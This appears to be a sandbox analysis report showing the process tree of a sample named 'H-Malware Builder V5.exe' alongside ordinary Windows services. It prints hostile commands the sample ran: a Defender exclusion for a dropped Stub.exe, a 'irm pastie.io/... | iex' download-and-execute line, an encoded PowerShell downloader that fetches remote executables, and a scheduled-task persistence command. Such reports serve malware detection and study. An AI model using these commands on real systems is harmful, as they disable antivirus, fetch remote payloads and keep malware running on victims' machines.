C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1200

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1424
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3056

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1836

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1928

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2008

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2016

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1768

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2140

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2264

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Modifies data under HKEY_USERS
PID:2516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2616

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2664

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2816

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:696

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3352
- C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
  "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
  2⤵
  - Drops startup file
  - Suspicious use of WriteProcessMemory
  PID:1144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4168
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:412
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3752
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5076
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell "irm pastie.io/raw/fgaazw | iex"
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:972
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABzAGUAdAB0AGkAbgBnAHMAIAA9ACAAJwB7ACIAVwBEACIAOgAgAGYAYQBsAHMAZQAsACAAIgBhAGQAbQBpAG4AcgB1AG4AIgA6ACAAZgBhAGwAcwBlAH0AJwAgAHwAIABDAG8AbgB2AGUAcgB0AEYAcgBvAG0ALQBKAHMAbwBuADsAJAByAGEAbgBkAG8AbQBTAHQAcgBpAG4AZwAgAD0AIAAiAGEAbQBkAHIAMQBpAHkAbAB0AFQAIgA7AGkAZgAgACgAJABzAGUAdAB0AGkAbgBnAHMALgBXAEQAKQAgAHsAJABzAGUAdAB0AGkAbgBnAHMALgBhAGQAbQBpAG4AcgB1AG4AIAA9ACAAJAB0AHIAdQBlADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwBuAGkAbgBoAHAAbgAxADMAMwA3AC8ARABpAHMAYQBiAGwAZQAtAFcAaQBuAGQAbwB3AHMALQBEAGUAZgBlAG4AZABlAHIALwBtAGEAaQBuAC8AcwBvAHUAcgBjAGUALgBiAGEAdAAnACwAIAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAnAFwAJwAgACsAIAAkAHIAYQBuAGQAbwBtAFMAdAByAGkAbgBnACAAKwAgACcALgBiAGEAdAAnACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAnAFwAJwAgACsAIAAkAHIAYQBuAGQAbwBtAFMAdAByAGkAbgBnACAAKwAgACcALgBiAGEAdAAnACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AVwBhAGkAdAAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwA7AH0AOwBpAGYAIAAoACQAcwBlAHQAdABpAG4AZwBzAC4AYQBkAG0AaQBuAHIAdQBuACkAIAB7ACQAdQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAE0AYQBsAHcAYQByAGUAVABlAGEAbQAvAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAGUAcgB2AGkAYwBlAC8AcgBhAHcALwBtAGEAaQBuAC8AUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAGUALgBlAHgAZQAnADsAJABvAHUAdABwAHUAdABQAGEAdABoACAAPQAgACQAZQBuAHYAOgBUAEUATQBQACAAKwAgACcAXAAnACAAKwAgACcAUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAGUALgBlAHgAZQAnADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAdQByAGwALAAgACQAbwB1AHQAcAB1AHQAUABhAHQAaAApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAbwB1AHQAcAB1AHQAUABhAHQAaAAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwA7AH0AZQBsAHMAZQAgAHsAJAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8ATQBhAGwAdwBhAHIAZQBUAGUAYQBtAC8AUwBlAGMAdQByAGkAdAB5AEgAZQBhAGwAdABoAFMAZQByAHYAaQBjAGUALwByAGEAdwAvAG0AYQBpAG4ALwBTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwBlAHIAdgBpAGMAZQAuAGUAeABlACcAOwAkAG8AdQB0AHAAdQB0AFAAYQB0AGgAIAA9ACAAJABlAG4AdgA6AFQARQBNAFAAIAArACAAJwBcACcAIAArACAAJwBTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwBlAHIAdgBpAGMAZQAuAGUAeABlACcAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1AHIAbAAsACAAJABvAHUAdABwAHUAdABQAGEAdABoACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABvAHUAdABwAHUAdABQAGEAdABoADsAfQA=
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1396
  - - C:\Windows\SYSTEM32\SCHTASKS.exe
      "SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:464
  - - C:\Windows\SYSTEM32\SCHTASKS.exe
      "SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3068
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5088
- - C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
    "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
    3⤵
    - Drops startup file
    PID:3880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4016
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:1708
  - - C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
      "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
      4⤵
      Drops startup file
      PID:1608
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:740
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:432
    - - C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        5⤵
        Drops startup file
        
        PID:1356
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4700
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:1564
      - C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        6⤵
        Drops startup file
        
        PID:1044
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1816
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        Suspicious use of SetWindowsHookEx
        
        PID:4284
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        7⤵
        Drops startup file
        
        PID:1408
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1500
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:900
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        8⤵
        Drops startup file
        
        PID:5016
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:448
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        10⤵
        Suspicious use of SetWindowsHookEx
        
        PID:5004
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        9⤵
        Drops startup file
        
        PID:5032
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        10⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:5012
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        11⤵
        Suspicious use of SetWindowsHookEx
        
        PID:3632
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        10⤵
        Drops startup file
        
        PID:1532
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        11⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:552
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        12⤵
        
        PID:4112
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        11⤵
        Drops startup file
        
        PID:4224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        12⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4996
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        13⤵
        Suspicious use of SetWindowsHookEx
        
        PID:8
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        12⤵
        Drops startup file
        
        PID:2116
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        13⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4432
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        14⤵
        
        PID:2700
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        13⤵
        Drops startup file
        
        PID:2312
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        14⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4916
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        15⤵
        Suspicious use of SetWindowsHookEx
        
        PID:3628
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        14⤵
        Drops startup file
        
        PID:3416
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        15⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3576
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        16⤵
        Suspicious use of SetWindowsHookEx
        
        PID:3488
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        15⤵
        Drops startup file
        
        PID:5052
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        16⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1564
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        17⤵
        Suspicious use of SetWindowsHookEx
        
        PID:4888
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        16⤵
        Drops startup file
        
        PID:1380
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        17⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2948
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        18⤵
        Suspicious use of SetWindowsHookEx
        
        PID:4404
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        17⤵
        Drops startup file
        
        PID:2192
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1140
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        19⤵
        Suspicious use of SetWindowsHookEx
        
        PID:2824
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        18⤵
        Drops startup file
        
        PID:776
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        19⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:448
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        20⤵
        
        PID:2060
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        19⤵
        Drops startup file
        
        PID:3604
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        20⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:848
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        21⤵
        Suspicious use of SetWindowsHookEx
        
        PID:1720
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        20⤵
        Drops startup file
        
        PID:4588
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        21⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3736
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        22⤵
        
        PID:1212
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        21⤵
        Drops startup file
        
        PID:2332
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        22⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1636
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        23⤵
        Suspicious use of SetWindowsHookEx
        
        PID:3528
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        22⤵
        Drops startup file
        
        PID:4488
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        23⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5000
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        24⤵
        
        PID:3960
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        23⤵
        Drops startup file
        
        PID:3520
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        24⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:928
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        25⤵
        Suspicious use of SetWindowsHookEx
        
        PID:5076
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        24⤵
        Drops startup file
        
        PID:260
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        25⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4124
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        26⤵
        Suspicious use of SetWindowsHookEx
        
        PID:432
        
        C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"
        25⤵
        Drops startup file
        
        PID:4412
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'
        26⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4284
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        27⤵
        Suspicious use of SetWindowsHookEx
        
        PID:908
        
